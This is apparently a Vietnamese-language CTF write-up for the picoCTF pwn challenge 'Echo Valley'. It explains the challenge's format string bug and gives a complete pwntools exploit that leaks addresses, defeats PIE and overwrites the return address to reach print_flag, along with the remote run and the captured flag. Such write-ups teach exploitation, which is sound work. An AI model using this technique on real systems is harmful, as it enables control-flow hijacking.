pwn - Echo Valley
The echo valley is a simple function that echoes back whatever you say to it.But how do you make it respond with something more interesting, like a flag?
Source Code
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void print_flag() {
char buf[32];
FILE *file = fopen("/home/valley/flag.txt", "r");
if (file == NULL) {
perror("Failed to open flag file");
exit(EXIT_FAILURE);
}
fgets(buf, sizeof(buf), file);
printf("Congrats! Here is your flag: %s", buf);
fclose(file);
exit(EXIT_SUCCESS);
}
void echo_valley() {
printf("Welcome to the Echo Valley, Try Shouting: \n");
char buf[100];
while(1)
{
fflush(stdout);
if (fgets(buf, sizeof(buf), stdin) == NULL) {
printf("\nEOF detected. Exiting...\n");
exit(0);
}
if (strcmp(buf, "exit\n") == 0) {
printf("The Valley Disappears\n");
break;
}
printf("You heard in the distance: ");
printf(buf);
fflush(stdout);
}
fflush(stdout);
}
int main()
{
echo_valley();
return 0;
}Mitigation

Solve
Ta sẽ đặt breakpoint tại printf(buf) để test Format String:


Ta sẽ thử nhập chuỗi bất kỳ để xem buf nằm tại đâu trong stack:
from pwn import *
p = process('./valley')
e = ELF('./valley')
context.update(arch='amd64', os='linux')
context.terminal = ['qterminal', '-e']
gdb.attach(p, gdbscript='''
b *echo_valley+218
c
''')
p.sendline(b'TEST')Ở đây thanh ghi rsp trỏ đến buf, buf đang nằm trên top của stack.

Tất nhiên ta không thể overflow buf để ghi vào return address là main+18. Thay vào đó ta sẽ lợi dụng Format String Bug để ghi.
Trước hết ta cần đọc ra runtime address của main+18 để tính base address của binary.
gdb.attach(p, gdbscript='''
b *echo_valley+218
c
ni
''')
p.sendline(b'%21$llu')
p.recvuntil(b'You heard in the distance: ')
runtime_main_18 = int(p.recvline().strip())
print("main+18:", hex(runtime_main_18))

Ta đã lấy thành công runtime address của main+18, ta sẽ tính base address rồi sau đó runtime address của print_flag() để ghi đè return address.
base = runtime_main_18 - (e.symbols['main'] + 18)
runtime_print_flag = base + e.symbols['print_flag']Nhưng ta cũng cần phải lấy ra địa chỉ chứa return address trên stack. Bởi thanh ghi rbp hiện tại đang chứa địa chỉ thanh ghi rsp của stack frame trước đó, ta chỉ cần đọc giá trị tại thanh ghi rbp sau đó trừ 8 là được địa chỉ chứa return address.

gdb.attach(p, gdbscript='''
b *echo_valley+218
c
c
ni
''')
p.sendline(b'%21$llu')
p.recvuntil(b'You heard in the distance: ')
runtime_main_18 = int(p.recvline().strip())
print("main+18:", hex(runtime_main_18))
base = runtime_main_18 - (e.symbols['main'] + 18)
runtime_print_flag = base + e.symbols['print_flag']
p.sendline(b'%20$llu')
p.recvuntil(b': ')
return_address_ptr = int(p.recvline().strip()) - 8
print("return address pointer:", hex(return_address_ptr))

Tiếp theo ta sẽ tạo một FSB payload và đưa vào buf, từ đó printf() sẽ ghi đè runtime address của print_flag() vào return address.
gdb.attach(p, gdbscript='''
b *echo_valley+218
c
c
c
ni
''')
p.sendline(b'%21$llu')
p.recvuntil(b'You heard in the distance: ')
runtime_main_18 = int(p.recvline().strip())
print("main+18:", hex(runtime_main_18))
base = runtime_main_18 - (e.symbols['main'] + 18)
runtime_print_flag = base + e.symbols['print_flag']
p.sendline(b'%20$llu')
p.recvuntil(b': ')
return_address_ptr = int(p.recvline().strip()) - 8
print("return address pointer:", hex(return_address_ptr))
offset = 6
writes = { return_address_ptr: runtime_print_flag }
payload = fmtstr_payload(offset, writes, write_size='short')
p.sendline(payload)offset = 6 bởi buf nằm ngay đầu stack (theo call convention của SYSTEM V ABI).

Cuối cùng ta nhập exit để thoát ra khỏi while loop và chuyển luồng thực thi đến print_flag():
p.sendline(b'exit')
Script
from pwn import *
p = remote('shape-facility.picoctf.net', 55880)
e = ELF('./valley')
context.update(arch='amd64', os='linux')
p.sendline(b'%21$llu')
p.recvuntil(b'You heard in the distance: ')
runtime_main_18 = int(p.recvline().strip())
print("main+18:", hex(runtime_main_18))
base = runtime_main_18 - (e.symbols['main'] + 18)
runtime_print_flag = base + e.symbols['print_flag']
p.sendline(b'%20$llu')
p.recvuntil(b': ')
return_address_ptr = int(p.recvline().strip()) - 8
print("return address pointer:", hex(return_address_ptr))
offset = 6
writes = { return_address_ptr: runtime_print_flag }
payload = fmtstr_payload(offset, writes, write_size='short')
p.sendline(payload)
p.sendline(b'exit')
p.recvuntil(b'The Valley Disappears\n')
print(p.recvall().decode())┌──(hungnt㉿kali)-[~/Desktop]
└─$ py solve.py
[+] Opening connection to shape-facility.picoctf.net on port 55880: Done
[*] '/home/hungnt/Desktop/valley'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
Debuginfo: Yes
main+18: 0x624570be6413
return address pointer: 0x7fff29c19418
[+] Receiving all data: Done (59B)
[*] Closed connection to shape-facility.picoctf.net port 55880
Congrats! Here is your flag: picoctf{f1ckl3_f0rmat_f1asc0}